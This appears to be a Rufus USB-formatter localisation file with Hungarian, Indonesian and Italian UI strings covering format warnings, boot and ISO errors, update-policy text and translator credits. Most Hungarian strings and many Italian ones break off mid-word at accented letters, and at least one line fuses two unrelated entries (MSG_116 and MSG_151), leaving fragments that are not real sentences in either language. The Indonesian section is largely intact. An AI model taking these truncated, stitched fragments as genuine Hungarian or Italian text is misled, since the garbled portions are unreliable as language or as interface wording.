t MSG_059 "A kiv
t MSG_060 "A k
t MSG_061 "K
t MSG_062 "Egy nem t
t MSG_063 "Mem
t MSG_064 "Olvas
t MSG_066 "Telep
t MSG_067 "Nem nyithat
t MSG_068 "Az eszk
t MSG_069 "Nem siker
t MSG_070 "A felhaszn
t MSG_071 "Nem lehet elind
t MSG_072 "A hib
t MSG_073 "ISO k
t MSG_074 "ISO k
t MSG_075 "A k
t MSG_076 "Nem lehet a f
t MSG_077 "Nem siker
t MSG_078 "Nem lehet GUID k
t MSG_079 "Az eszk
t MSG_080 "A Rufus
szlelte, hogy a Windows m
ben hagyd, hogy a Windows befejezze az
t MSG_081 "Nem t
t MSG_082 "Ez a k
t MSG_083 "Fel
rod ezt: %s?"
t MSG_084 "Ez az ISO f
leg a(z) '%s' elavult verzi
t MSG_085 "Let
s: %s"
t MSG_086 "Nincs ISO f
t MSG_087 "K
t MSG_088 "Az ISO f
t MSG_089 "Az ISO f
t MSG_090 "Nem t
t MSG_091 "UEFI t
t MSG_092 "Nem t
t MSG_093 "FONTOS: EZ AZ ESZK
Windows al
t MSG_094 "T
t MSG_095 "DD k
t MSG_096 "A jelenleg kiv
t MSG_097 "A '%s' csak NTFS f
t MSG_098 "FONTOS: 'Windows To Go'-t pr
. Emiatt a Windows bootol
t MSG_099 "F
t MSG_100 "Ez az ISO k
t MSG_101 "Hi
t MSG_102 "A rendszered nem k
s Windows Vista USB eszk
t MSG_103 "Let
d ezt: %s?"
t MSG_104 "%s vagy
ges a(z) '%s' f
s mindig szerepel a(z) %s ISO k
"'%s' nev
t MSG_105 "A megszak
t MSG_106 "K
t MSG_107 "Minden f
t MSG_109 "0xX (Lemez: %d)"
t MSG_110 "Az MS-DOS nem tud bootolni 64 kilob
t MSG_111 "Nem kompatibilis Klaszter m
t MSG_112 "Nagy UDF k
lt ideje %d:d,
t MSG_113 "Nagy UDF k
t MSG_114 "Ez a k
jl Syslinux %s%s-t haszn
s csak a Syslinux %s%s telep
l ('ldlinux.sys's 'ldlinux.bss'):\n"
t MSG_115 "Let
t MSG_116 "Ez a k
jl Grub %s-t haszn
s csak a Grub %s telep
l ('core.img'), ami egyezik a kt MSG_151 "Haszn
"Windows XP al
t MSG_152 "Ez a javasolt opci
t MSG_153 "Teszt param
ter: 0xX"
t MSG_154 "Teszt param
ter: 0xX, 0xX"
t MSG_155 "Teszt param
ter: 0xX, 0xX, 0xX"
t MSG_156 "Teszt param
ter: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Az eszk
t MSG_158 "Az adatblokkok legkisebb m
t MSG_159 "Haszn
t MSG_160 "Halad
t MSG_161 "Hib
t MSG_162 "Vedd ki innen a pip
t MSG_163 "Pip
t MSG_164 "Ezt fogjuk haszn
t MSG_165 "Kattints egy ISO kiv
t MSG_166 "Pip
hoz (egy autorun.inf f
t MSG_167 "Olyan MBR telep
t MSG_168 "Pr
ges, ha Windows XP-t telep
t MSG_169 "K
t MSG_170 "USB-s merevlemezek list
t MSG_171 "A form
t MSG_172 "Licensszel kapcsolatos inform
t MSG_173 "Kattints a kiv
t MSG_174 "Rufus - A megb
t MSG_175 "Verzi
t MSG_176 "Magyar ford
s:\\tab [HUN]DeadMan <mailto:familyguyfan79@gmail.com>\\line"
bor <mailto:gabor.csizmadia@hotmail.hu>"
t MSG_177 "Hib
t MSG_178 "Tov
t MSG_179 "Friss
t MSG_180 "Ha enged
t MSG_181 "Az oper
t MSG_182 "A program verzi
t MSG_183 "Az IP c
t MSG_184 "Haszn
t MSG_185 "Friss
t MSG_186 "A Rufus nem telep
t MSG_188 "A jelenlegi k
jl nem passzol a kiv
t MSG_189 "Ez az ISO k
t MSG_190 "Inkompatibilis meghajt
t MSG_191 "Sikeres
t MSG_192 "Sikeres olvas
t MSG_193 "Let
ltve: %s"
t MSG_194 "Nem siker
lteni: %s"
t MSG_195 "A(z) %s f
t MSG_196 "FONTOS: EZ AZ ESZK
rete %d b
t MSG_197 "'Nem szabv
t MSG_198 "'Windows To Go' csak akkor telep
laszd ezt, ha a Windows-t egy m
laszd ezt, ha a Windows-t k
t MSG_201 "Megszak
t MSG_202 "K
t MSG_203 "Nem siker
t MSG_204 "Elavult %s
lata: %s"
t MSG_206 "Hi
jl: %s"
t MSG_208 "%d eszk
t MSG_209 "%d eszk
t MSG_210 "K
t MSG_211 "Megszak
t MSG_212 "Sikertelen"
t MSG_213 "Az
t MSG_214 "Nem siker
t MSG_215 "Megnyitva: %s"
t MSG_216 "Mentve: %s"
t MSG_218 "F
se: %d/%d feladat k
t MSG_219 "NTFS Fixup: %d%% k
s (%s) - becs
t MSG_221 "C
s (%s)..."
t MSG_224 "MBR/PBR/GPT strukt
t MSG_225 "Lemez hozz
t MSG_226 "Boot rekordok vizsg
t MSG_227 "L
t MSG_228 "MBR
t MSG_229 "Part
t MSG_230 "DOS f
t MSG_231 "ISO f
t MSG_232 "Win7 EFI boot telep
t MSG_233 "V
t MSG_234 "Syslinux %s telep
t MSG_235 "Hib
s blokkok: %s %d/%d - %0.2f%% (%d/%d/%d hiba)"
t MSG_236 "Hib
t MSG_237 "Hib
s 0xX mint
t MSG_238 "Particion
t MSG_239 "Part
t MSG_240 "Let
s %s: Kapcsol
t MSG_241 "Let
t MSG_242 "A f
t MSG_243 "Rufus friss
t MSG_244 "Friss
t MSG_245 "Friss
t MSG_246 "El
t MSG_247 "Nem tal
t MSG_248 "A program regiszt
t MSG_249 "Nem siker
t MSG_250 "%s enged
t MSG_251 "%s letiltva"
t MSG_252 "M
t MSG_253 "Merevlemezek
t MSG_254 "FAT32 form
t MSG_255 "NoDriveTypeAutorun t
t MSG_256 "Hamis eszk
t MSG_257 "Joliet t
t MSG_258 "Rock Ridge t
t MSG_259 "Friss
t MSG_260 "NTFS t
t MSG_261 "K
t MSG_262 "ISO t
t MSG_263 "MEGFELEL
t MSG_264 "Mappa t
se: '%s'"
t MSG_265 "VMware lemez
t MSG_266 "Du
t MSG_267 "Windows k
t MSG_268 "Windows k
t MSG_269 "Id
t MSG_270 "USB hibakeres
t MSG_271 "K
t MSG_272 "MD5, SHA1
t MSG_273 "Alkalmaz
t MSG_274 "ISOHybrid k
t MSG_275 "A kiv
"%s (f
dban vagy %s (lemezk
"A Rufus a(z) %s m
rni %s m
s %s m
t MSG_278 "Boot t
t MSG_279 "Nem bootolhat
t MSG_280 "K
t MSG_281 "(K
t MSG_282 "Kiz
t MSG_284 "A let
t MSG_285 "A let
jlt '%s'
t MSG_286 "Meghajt
m IDC_NBPASSES 64,0
s IDC_NBPASSES -4,0
t IDC_WINDOWS_INSTALL "Instalasi Windows standar"
t IDC_WEBSITE "Klik disini untuk pergi ke situs web"
t MSG_001 "Rufus lain terdeteksi"
t MSG_002 "Aplikasi Rufus lain sedang berjalan.\n"
t MSG_003 "PERINGATAN: SEMUA DATA PADA PERANGKAT '%s' AKAN DIHAPUS.\n"
"Untuk melanjutkan operasi ini, klik OKE. Untuk keluar klik BATAL."
t MSG_004 "Ketentuan pembaruan Rufus"
t MSG_005 "Apakah Anda ingin mengizinkan Rufus memeriksa pembaruan aplikasi secara online?"
t MSG_006 "Tutup"
t MSG_007 "Batal"
t MSG_008 "Ya"
t MSG_009 "Tidak"
t MSG_010 "Blok buruk ditemukan"
t MSG_011 "Pemeriksaan selesai: %d blok buruk ditemukan\n"
" %d kesalahan baca\n %d kesalahan tulis\n %d kesalahan korupsi\n"
t MSG_012 "%s\nLaporan lebih lengkap dapat ditemukan di:\n%s"
t MSG_013 "Dinonaktifkan"
t MSG_014 "Harian"
t MSG_015 "Mingguan"
t MSG_016 "Bulanan"
t MSG_017 "Kostum"
t MSG_018 "Versi Anda: %d.%d (Build %d)"
t MSG_019 "Versi terbaru: %d.%d (Build %d)"
t MSG_029 "Standar"
t MSG_030 "%s (Standar)"
t MSG_031 "Skema partisi %s untuk BIOS atau %s"
t MSG_032 "Skema partisi %s untuk BIOS"
t MSG_033 "Skema partisi %s untuk UEFI"
t MSG_037 "Aplikasi"
t MSG_038 "Batal"
t MSG_039 "Luncurkan"
t MSG_040 "Unduh"
t MSG_041 "Operasi dibatalkan oleh pengguna"
t MSG_042 "Kesalahan"
t MSG_043 "Kesalahan: %s"
t MSG_044 "Unduh berkas"
t MSG_045 "Perangkat Penyimpanan USB (Generic)"
t MSG_047 "Banyak Partisi"
t MSG_049 "Rufus - Pembatalan"
t MSG_050 "Sukses."
t MSG_051 "Kesalahan tidak diketahui saat memformat."
t MSG_052 "Tidak dapat menggunakan sistem berkas terpilih untuk media ini."
t MSG_053 "Akses ke perangkat ditolak."
t MSG_054 "Media terlindungi penulisan."
t MSG_055 "Perangkat ini sedang digunakan oleh proses lain. "
t MSG_056 "Format cepat tidak tersedia bagi perangkat ini."
t MSG_057 "Label volume tidak sah."
t MSG_058 "Perangkat tidak sah."
t MSG_059 "Ukuran klaster terpilih tidak sah untuk perangkat ini."
t MSG_060 "Ukuran volume tidak sah."
t MSG_061 "Silakan sisipkan media kedalam perangkat."
t MSG_062 "Perintah tidak didukung."
t MSG_063 "Kesalahan pengalokasian memori."
t MSG_064 "Kesalahan baca."
t MSG_065 "Kesalahan tulis."
t MSG_066 "Instalasi gagal"
t MSG_067 "Tidak dapat membuka media. Media mungkin sedang digunakan oleh proses lain. "
t MSG_068 "Kesalahan saat mempartisi perangkat."
t MSG_069 "Tidak dapat menyalin berkas ke perangkat tujuan."
t MSG_070 "Dibatalkan oleh pengguna."
t MSG_071 "Tidak dapat memulai thread."
t MSG_072 "Pemeriksaan blok buruk tidak selesai."
t MSG_073 "Pemindaian ISO image gagal."
t MSG_074 "Mengekstrak ISO image gagal."
t MSG_075 "Tidak dapat me-mount ulang volume."
t MSG_076 "Tidak dapat menambal/berkas setelan untuk boot."
t MSG_077 "Tidak dapat menetapkan huruf perangkat."
t MSG_078 "Tidak dapat me-mount volume GUID."
t MSG_079 "Perangkat tidak siap."
t MSG_080 "Rufus mendeteksi bahwa Windows masih mem-buffer ke perangkat USB.\n\n"
"Tergantung pada kecepatan perangkat USB Anda , operasi ini mungkin memakan waktu lama untuk selesai, "
"terutama untuk file besar.\n\nKami menyarankan Anda membiarkan Windows selesai, untuk menghindari kerusakan. "
t MSG_081 "Image tidak didukung"
t MSG_082 "Image ini kemungkinan non-bootable, atau menggunakan metode boot atau kompresi yang tidak didukung oleh Rufus..."
t MSG_083 "Ganti %s?"
t MSG_084 "ISO image ini tampaknya menggunakan versi lawas dari '%s'.\n"
"'%s' sudah ada disana, berkas tersebut akan digunakan kembali secara otomatis."
t MSG_085 "Mengunduh %s"
t MSG_086 "Tidak ada image terpilih"
t MSG_087 "Silakan pilih pada tombol disc untuk memilih image bootable, "
t MSG_088 "Image terlalu besar"
t MSG_089 "Image terlalu besar untuk Target yang dipilih."
t MSG_090 "ISO tidak didukung"
t MSG_091 "Ketika menggunakan Tipe Target UEFI, hanya ISO images bootable EFI yang didukung. "
t MSG_092 "Sistem berkas tidak didukung"
t MSG_093 "PENTING: PERANGKAT INI BERISI BANYAK PARTISI!!\n\n"
"Perangkat ini berisi partisi/volume yang tidak tercantum atau bahkan terlihat dari Windows. "
t MSG_094 "Banyak partisi terdeteksi"
t MSG_096 "Sistem berkas yang saat ini dipilih tidak dapat digunakan dengan tipe ISO ini. "
t MSG_097 "'%s' hanya dapat diterapkan jika sistem berkas NTFS."
t MSG_098 "PENTING: Anda mencoba untuk menginstal 'Windows To Go', namun perangkat target tidak "
"memiliki atribut 'FIXED'. Windows ini kemungkinan akan berhenti saat boot, "
t MSG_099 "Batasan sistem berkas"
t MSG_100 "Image ISO ini berisi berkas yang lebih besar dari 4GB, yang lebih dari ukuran maksimal "
t MSG_101 "Dukungan WIM hilang"
t MSG_102 "Platform Anda tidak dapat mengekstrak berkas dari arsip WIM. Pengektrakan WIM "
"diperlukan untuk membuat bootable EFI Windows 7 dan Windows Vista di perangkat USB. Anda dapat memperbaikinya "
t MSG_103 "Unduh %s?"
t MSG_104 "%s atau yang lebih baru memerlukan berkas '%s' untuk diinstal.\n"
"Karena berkas ini berukuran lebih dari 100 KB, dan selalu ada pada ISO images %s, "
"berkas '%s' sudah ada disana, berkas ini akan digunakan kembali secara otomatis.\n"
t MSG_105 "Membatalkan dapat menyebabkan perangkat TIDAK DAPAT DIGUNAKAN.\n"
t MSG_106 "Silakan pilih folder"
t MSG_107 "Semua berkas"
t MSG_110 "MS-DOS tidak dapat boot dari perangkat yang menggunakan ukuran Klaster 64 kilobyte.\n"
t MSG_111 "Ukuran Klaster tidak kompatibel"
t MSG_112 "Memformat volume UDF yang besar memerlukan waktu lama. Di kecepatan USB 2.0, perkiraan durasi memformat sekitar "
"%d:d, selama berlangsung bilah kemajuan akan tampak berhenti. Harap bersabar!"
t MSG_113 "Volume UDF besar"
t MSG_114 "Image ini menggunakan Syslinux %s%s namun aplikasi ini hanya menyertakan berkas instalasi untuk "
"Syslinux %s%s.\n\nKarena versi baru Syslinux tidak kompatibel satu dengan lainnya, dan tidak mungkin "
"Internet ('ldlinux.sys' dan 'ldlinux.bss'):\n""- Pilih 'Tidak' untuk membatalkan operasi\n\n"
t MSG_115 "Unduh diperlukan"
t MSG_116 "Image ini menggunakan Grub %s namun aplikasi ini hanya menyertakan berkas instalasi untuk "
"Grub %s.\n\nKarena versi baru Grub tidak kompatibel satu dengan lainnya, dan tidak mungkin "
"('core.img') yang sesuai dengan image Anda:\n""- Pilih 'Batal' untuk membatalkan operasi\n\n"
t MSG_150 "Umumnya merupakan pilihan teraman. Namun, jika Anda memiliki komputer UEFI dan ingin menginstal "
"sebuah Sistem Operasi di modus EFI murni, Anda harus memilih salah satu opsi lain"
t MSG_151 "Gunakan ini jika Anda ingin menginstal Sistem Operasi di modus EFI murni, namun perlu mengakses "
"isi USB dari Windows XP"
t MSG_152 "Pilihan yang paling disukai untuk menginstal Sistem Operasi di modus EFI murni, ketika akses USB "
"tidak diperlukan dari Windows XP"
t MSG_153 "Tes pola: 0xX"
t MSG_154 "Tes pola: 0xX, 0xX"
t MSG_155 "Tes pola: 0xX, 0xX, 0xX"
t MSG_156 "Tes pola: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Atur sistem berkas target"
t MSG_158 "Ukuran minimal blok data yang akan menempati sistem berkas"
t MSG_159 "Gunakan bidang ini untuk menyetel karakter Internasional yang diperbolehkan\npada label perangkat"
t MSG_160 "Tombol untuk opsi lanjutan"
t MSG_161 "Periksa blok buruk pada perangkat menggunakan tes pola"
t MSG_162 "Hapus centang kotak ini untuk menggunakan metode format \"lambat\""
t MSG_163 "Centang kotak ini untuk membuat perangkat USB bootable"
t MSG_164 "Metode yang akan digunakan untuk membuat perangkat bootable"
t MSG_165 "Klik untuk memilih sebuah image..."
t MSG_166 "Centang kotak ini untuk menampilkan label internasional "
"dan menyetel ikon perangkat (membuat autorun.inf)"
t MSG_167 "Menginstal MBR memungkinkan untuk boot dan dapat memanipulasi ID perangkat USB di BIOS"
t MSG_168 "Mencoba memanipulasi perangkat USB bootable (biasanya 0x80) sebagai disk yang berbeda.\n"
"Biasanya hanya diperlukan jika Anda memasang Windows XP dan memiliki lebih dari satu disk"
t MSG_169 "Membuat partisi tersembunyi tambahan dan memcoba menyelaraskan batas partisi.\n"
t MSG_170 "Aktifkan pencantuman USB Hard Drive enclosures. RESIKO DITANGGUNG ANDA SENDIRI!!!"
t MSG_171 "Mulai operasi format.\nTindakan ini akan MENGHAPUS semua data pada target!"
t MSG_172 "Informasi lisensi dan kredit"
t MSG_173 "Klik untuk memilih..."
t MSG_174 "Rufus - Utilitas Pemformatan USB yang Handal"
t MSG_175 "Versi %d.%d (Build %d)"
t MSG_176 "Terjemahan Bahasa Indonesia: Abe Akatsuki, Arif Budiman"
t MSG_177 "Laporkan bug atau permintaan perbaikan pada:"
t MSG_178 "Hak Cipta Tambahan:"
t MSG_179 "Ketentuan Pembaruan:"
t MSG_180 "Jika Anda memilih untuk mengizinkan program ini memeriksa pembaruan aplikasi, "
t MSG_181 "Arsitektur dan versi sistem operasi Anda"
t MSG_182 "Versi aplikasi yang Anda gunakan"
t MSG_183 "Alamat IP Anda"
t MSG_184 "Dengan tujuan untuk menghasilkan statistik penggunaan pribadi, kami dapat menyimpan informasi yang dikumpulkan, "
t MSG_185 "Proses Pembaruan:"
t MSG_186 "Rufus tidak memasang atau menjalankan layanan latar belakang, oleh karena itu pemeriksaan pembaruan dapat dilakukan hanya ketika aplikasi utama berjalan.\\line\n"
t MSG_187 "Image tidak sah untuk opsi boot yang dipilih"
t MSG_188 "Image saat ini tidak cocok dengan opsi boot yang dipilih. Silakan gunakan image yang lain atau pilih opsi boot yang berbeda."
t MSG_189 "Image ISO ini tidak kompatibel dengan sistem berkas yang dipilih"
t MSG_190 "Perangkat tidak kompatibel terdeteksi"
t MSG_191 "Tulis berlalu"
t MSG_192 "Baca berlalu"
t MSG_193 "Diunduh %s"
t MSG_194 "Tidak dapat mengunduh %s"
t MSG_195 "Menggunakan %s berkas versi tersemat"
t MSG_196 "PENTING: PERANGKAT INI MENGGUNAKAN UKURAN SEKTOR YANG TIDAK STANDAR!\n\n"
"Perangkat konvensional menggunakan ukuran sektor 512-byte tetapi perangkat ini menggunakan %d-byte. "
t MSG_197 "Ukuran sektor tidak standar terdeteksi"
t MSG_198 "'Windows To Go' hanya dapat diinstal pada perangkat yang berpartisi GPT yang memiliki "
t MSG_199 "Pilih ini jika Anda berencana untuk menginstal Windows, pada disk lain, menggunakan perangkat yang dipilih sebagai media instalasi."
t MSG_200 "Pilih ini jika Anda ingin menjalankan Windows secara langsung dari perangkat yang dipilih."
t MSG_201 "Membatalkan - Silakan Tunggu..."
t MSG_202 "Memindai image..."
t MSG_203 "Gagal memindai image"
t MSG_204 "%s usang terdeteksi"
t MSG_205 "Menggunakan image: %s"
t MSG_206 "Berkas %s hilang"
t MSG_207 "Volume Baru"
t MSG_208 "%d perangkat ditemukan"
t MSG_209 "%d perangkat ditemukan"
t MSG_210 "SIAP"
t MSG_211 "Dibatalkan"
t MSG_212 "Gagal"
t MSG_213 "Meluncurkan aplikasi baru..."
t MSG_214 "Gagal meluncurkan aplikasi baru"
t MSG_215 "Membuka %s"
t MSG_216 "Menyimpan %s"
t MSG_217 "Memformat: %0.1f%% selesai"
t MSG_218 "Membuat sistem berkas: Tugas %d/%d selesai"
t MSG_219 "Perbaikan NTFS: %d%% selesai"
t MSG_220 "Memformat (%s) - perkiraan durasi %d:d..."
t MSG_221 "Menyetel Label (Memerlukan beberapa saat)..."
t MSG_222 "Memformat (%s)..."
t MSG_223 "Perbaikan NTFS (Checkdisk)..."
t MSG_224 "Membersihkan struktur MBR/PBR/GPT..."
t MSG_225 "Meminta akses disk..."
t MSG_226 "Menganalisa boot records yang ada..."
t MSG_227 "Menutup volume yang ada..."
t MSG_228 "Menulis master boot record..."
t MSG_229 "Menulis boot record partisi..."
t MSG_230 "Menyalin berkas DOS..."
t MSG_231 "Menyalin berkas ISO..."
t MSG_232 "Win7 EFI boot setup (memerlukan beberapa saat)..."
t MSG_233 "Menyelesaikan, silakan tunggu..."
t MSG_234 "Menginstal Syslinux %s..."
t MSG_235 "Blok Buruk: %s %d/%d - %0.2f%% (%d/%d/%d errors)"
t MSG_236 "Blok Buruk: Mencoba denga pola acak"
t MSG_237 "Blok Buruk: Mencoba dengan pola 0xX"
t MSG_238 "Mempartisi (%s)..."
t MSG_239 "Menghapus partisi..."
t MSG_240 "Mengunduh %s: Menyambungkan..."
t MSG_241 "Mengunduh: %0.1f%%"
t MSG_242 "gagal mengunduh berkas."
t MSG_243 "Memeriksa pembaruan Rufus..."
t MSG_244 "Pembaruan: Tidak dapat menyambungkan ke internet"
t MSG_245 "Pembaruan: Tidak dapat mengakses data versi"
t MSG_246 "Versi baru Rufus tersedia!"
t MSG_247 "Tidak ada versi baru Rufus yang ditemukan"
t MSG_248 "Registry aplikasi berhasil dihapus"
t MSG_249 "Gagal menghapus kunci registry aplikasi"
t MSG_250 "%s diaktifkan"
t MSG_251 "%s dinonaktifkan"
t MSG_252 "Periksa ukuran"
t MSG_253 "Deteksi Hard disk"
t MSG_254 "Format paksa FAT32 yang besar"
t MSG_255 "NoDriveTypeAutorun akan dihapus saat keluar"
t MSG_256 "Deteksi perangkat palsu"
t MSG_257 "Dukungan Joliet"
t MSG_258 "Dukungan Rock Ridge"
t MSG_259 "Pembaruan Paksa"
t MSG_260 "Kompresi NTFS"
t MSG_261 "Menulis image: %0.1f%% selesai"
t MSG_262 "Dukungan ISO"
t MSG_263 "Gunakan unit ukuran PROPER"
t MSG_264 "Menghapus direktori '%s'"
t MSG_265 "Deteksi VMWare disk"
t MSG_266 "Modus Dual UEFI/BIOS"
t MSG_267 "Menerapkan image Windows: %0.1f%% selesai"
t MSG_268 "Menerapkan image Windows..."
t MSG_269 "Pertahankan timestamps"
t MSG_271 "Menghitung ceksum image: %0.1f%% selesai"
t MSG_272 "Hitung ceksum MD5, SHA1 dan SHA256 pada image yang dipilih"
t MSG_273 "Ubah bahasa aplikasi"
t MSG_274 "Image ISOHybrid terdeteksi"
t MSG_275 "Image yang Anda pilih merupakan image 'ISOHybrid'. Ini artinya image tersebut dapat ditulis dalam "
"mode %s (salin berkas) atau mode %s (disk image).\n"
"Rufus menyarankan untuk menggunakan mode %s, sehingga Anda tetap memiliki akses pada perangkat setelah menulisnya.\n"
"Namun, jika Anda menemukan masalah saat boot, Anda bisa mencoba menulis image ini kembali dalam mode %s.\n\n"
t MSG_276 "Tulis dalam mode %s (Disarankan)"
t MSG_277 "Tulis dalam mode %s"
t MSG_278 "Tipe Boot"
t MSG_280 "Pemilihan image"
t MSG_281 "(Silakan pilih sebuah image)"
t MSG_282 "Penguncian perangkat USB khusus"
t MSG_283 "Tanda tangan digital tidak valid"
t MSG_284 "Berkas exe yang diunduh memiliki tanda tangan digital yang salah."
t MSG_285 "Berkas exe yang diunduh ditandatangani oleh '%s'.\nTanda tangan ini "
t IDC_WINDOWS_INSTALL "Installazione Windows standard"
t IDC_WEBSITE " Fai clic qui per visitare il sito web"
t MSG_001 "Rilevata altra istanza Rufus"
t MSG_003 "ATTENZIONE: TUTTI I DATI SULL'UNITA' '%s' SARANNO CANCELLATI.\n"
t MSG_004 "Policy aggiornamenti Rufus"
t MSG_005 "Vuoi permettere a Rufus di controllare gli aggiornamenti online?"
t MSG_006 "Chiudi"
t MSG_007 "Annulla"
t MSG_008 "S
t MSG_010 "Rilevato blocco difettoso"
t MSG_011 "Controllo completato: trovati %d blocchi difettosi\n"
" %d errori lettura\n %d errori scrittura\n %d errori corruzione\n"
t MSG_012 "%s\nUn report pi
disponibile in:\n%s"
t MSG_013 "Disabilitato"
t MSG_014 "Giornaliero"
t MSG_015 "Settimanale"
t MSG_016 "Mensile"
t MSG_017 "Personalizzato"
t MSG_018 "Versione installata: %d.%d (Build %d)"
t MSG_019 "Versione aggiornata: %d.%d (Build %d)"
t MSG_029 "Predefinito"
t MSG_030 "%s (predefinito)"
t MSG_031 "Schema partizione %s per BIOS o %s"
t MSG_032 "Schema partizione %s per BIOS"
t MSG_033 "Schema partizione %s per UEFI"
t MSG_034 "%d test"
t MSG_035 "%d test"
t MSG_036 "Immagine ISO"
t MSG_037 "Applicazione"
t MSG_038 "Annulla"
t MSG_039 "Esegui"
t MSG_041 "Operazione annullata dall'utente"
t MSG_042 "Errore"
t MSG_043 "Errore: %s"
t MSG_044 "Download file"
t MSG_045 "Unit
t MSG_046 "%s (disco %d) [%s]"
t MSG_047 "Partizioni multiple"
t MSG_048 "Rufus - Svuotamento buffer"
t MSG_049 "Rufus - Cancellazione"
t MSG_050 "Completato."
t MSG_051 "Errore sconosciuto durante la formattazione."
t MSG_052 "Impossibile usare il filesystem selezionato."
t MSG_053 "Accesso negato all'unit
t MSG_054 "Il supporto
t MSG_055 "L'unit
t MSG_056 "Formattazione rapida non disponibile per questa unit
t MSG_057 "Etichetta volume non valida."
t MSG_058 "Il gestore unit
t MSG_059 "Dimensione cluster selezionata non valida per questa unit
t MSG_060 "Dimensione volume non valida."
t MSG_061 "Inserisci un supporto nell'unit
stato ricevuto un comando non supportato."
t MSG_063 "Errore allocazione memoria."
t MSG_064 "Errore lettura."
t MSG_065 "Errore scrittura."
t MSG_066 "Installazione fallita"
t MSG_067 "Impossibile aprire il supporto. Potrebbe essere in uso da un altro processo."
"Reinserisci il supporto e riprova."
t MSG_068 "Errore nel partizionamento dell'unit
t MSG_069 "Impossibile copiare i file nell'unit
t MSG_070 "Annullato dall'utente."
t MSG_071 "Impossibile creare attivit
t MSG_072 "Controllo blocchi errati non completato."
t MSG_073 "Analisi fallita immagine ISO."
t MSG_074 "Estrazione fallita immagine ISO."
t MSG_075 "Impossibile rimontare l'unit
t MSG_076 "Impossibile correggere/impostare i file per il boot."
t MSG_077 "Impossibile assegnare una lettera all'unit
t MSG_078 "Impossibile montare volume GUID."
t MSG_079 "L'unit
t MSG_080 "Rufus ha rilevato che Windows sta ancora svuotando i buffer interni relativi all'unit
USB, questa operazione potrebbe richiedere un certo tempo per essere completata, "
"specialmente per file molto grandi.\n\nTi suggeriamo di attendere che Windows completi le operazioni per evitare la corruzione dei dati. "
t MSG_081 "Formato immagine non supportato"
t MSG_082 "Questa immagine non
bootabile, o usa un metodo di boot o di compressione non supportato da Rufus..."
t MSG_083 "Sostituire %s?"
t MSG_084 "Questa immagine sembra che usi una versione obsoleta di '%s'.\n"
"scaricato '%s', verr
t MSG_086 "Nessuna immagine selezionata"
t MSG_087 "Fai clic sul pulsante disco per selezionare una immagine avviabile, "
t MSG_088 "Immagine troppo grande"
t MSG_089 "Questa immagine
t MSG_090 "Formato ISO non supportato"
t MSG_091 "Quando usi una destinazione di tipo UEFI, sono supportate solo immagini ISO avviabili EFI. "
t MSG_092 "Filesystem non supportato"
t MSG_093 "IMPORTANTE: QUESTA UNITA' CONTIENE PARTIZIONI MULTIPLE!!\n\n"
includere partizioni/volumi che non sono elencati anche se visibili da Windows."
t MSG_094 "Rilevate partizioni multiple"
t MSG_095 "Immagine DD"
t MSG_096 "Il file system attualmente selezionato non pu
t MSG_097 "'%s' pu
t MSG_098 "IMPORTANTE: stai tentando di installare 'Windows To Go', ma l'unit
Windows molto probabilmente si bloccher
t MSG_099 "Limitazione filesystem"
t MSG_100 "Questa immagine ISO contiene un file pi
t MSG_101 "Supporto WIN mancante"
t MSG_102 "Il tuo sistema operativo non pu
USB avviabile EFI Windows 7 e Windows Vista. Puoi correggere ci
t MSG_104 "%s o successivo richiedono l'installazione di un file '%s'.\n"
sempre presente nell'immagine ISO di %s, "
t MSG_105 "La cancellazione potrebbe lasciare il dispositivo in uno stato NON USABILE.\n"
t MSG_106 "Seleziona la cartella"
t MSG_107 "Tutti i file"
t MSG_108 "Registro eventi Rufus"
t MSG_109 "0xX (disco %d)"
t MSG_110 "Non si pu
t MSG_111 "Dimensione cluster incompatibile"
t MSG_112 "La formattazione di un volume UDF di grandi dimensioni pu
di %d:d, durante il quale la barra di progresso non verr
aggiornata. Attendi il completamento dell'operazione!"
t MSG_113 "Voume UDF di grandi dimensioni"
t MSG_114 "Questa immagine usa Syslinux %s%s ma questa applicazione include solo i file di installazione per "
"Syslinux %s%s.\n\nPoich
"('ldlinux.sys' e 'ldlinux.bss'):\n""- Seleziona 'No' per annullare l'operazione\n\n"
t MSG_115 "Richiede download"
t MSG_116 "Questa immagine usa Grub %s ma l'applicazione incliude solo i file di installazione per "
"Grub %s.\n\nQuesta differente versione di Grub potrebbe non essere compatibile con l'altra, e non
"installazione di Grub ('core.img') che corrisponda a quella dell'immagine.\n""- Seleziona 'Annulla' per interrompere l'operazione.\n\n"
t MSG_150 "Questa impostazione
"un sistema operativo in modo EFI, puoi selezionare una delle opzioni sottostanti"
t MSG_151 "Usa questa impostazione se vuoi installare un sistema operativo in modo EFI, ma devi accedere "
"al contenuto USB in Windows XP"
t MSG_152 "L'opzione preferita per installare un sistema operativo in modo EFI quando "
richiesto in Windows XP"
t MSG_153 "Pattern di test: 0xX"
t MSG_154 "Pattern di test: 0xX, 0xX"
t MSG_155 "Pattern di test: 0xX, 0xX, 0xX"
t MSG_156 "Pattern di test: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Impostazione del filesystem destinazione"
t MSG_158 "Dimensione minima del blocco dati del filesystem"
t MSG_159 "Usa questo campo per impostare l'etichetta dell'unit
t MSG_160 "Abilita/disabilita opzioni avanzate"
t MSG_161 "Abilita questa opzione per effettuare un controllo dei blocchi danneggiati nel dispositivo usando un pattern di test"
t MSG_162 "Deseleziona questa opzione per usare il metodo di formattazione completo ma 'lento'"
t MSG_163 "Abilita questa opzione per rendere l'unit
t MSG_164 "Definisce il metodo che verr
t MSG_165 "Seleziona l'immagine..."
t MSG_166 "Abilita questa opzione per permettere la visualizzazione delle etichette internazionali "
un file autorun.inf)"
t MSG_167 "Installa un MBR che permette la selezione all'avvio e maschera l'ID unit
t MSG_168 "Prova prima a macsherare l'unit
"Questo potrebbe essere necessario solo se installi Windows XP e hai pi
t MSG_169 "Crea una partizione aggiuntiva e nascosta e prova ad allineare le diverse partizioni.\n"
t MSG_170 "Abilita il rilevamento per i dischi USB. USALO A TUO RISCHIO!!!"
t MSG_171 "Avvia l'operazione di formattazione.\nQuesta operazione DISTRUGGERA' qualsiasi dato sull'unit
t MSG_172 "Informazioni licenza e ringraziamenti"
t MSG_173 "Fai clic per selezionare..."
t MSG_174 "Rufus - Utility affidabile formattazione unit
t MSG_175 "Versione %d.%d (build %d)"
t MSG_176 "Traduzione italiana a cura di bovirus"
t MSG_177 "Segnala i problemi o richiedi nuove funzionalit
t MSG_178 "Diritti aggiuntivi:"
t MSG_179 "Policy aggiornamenti:"
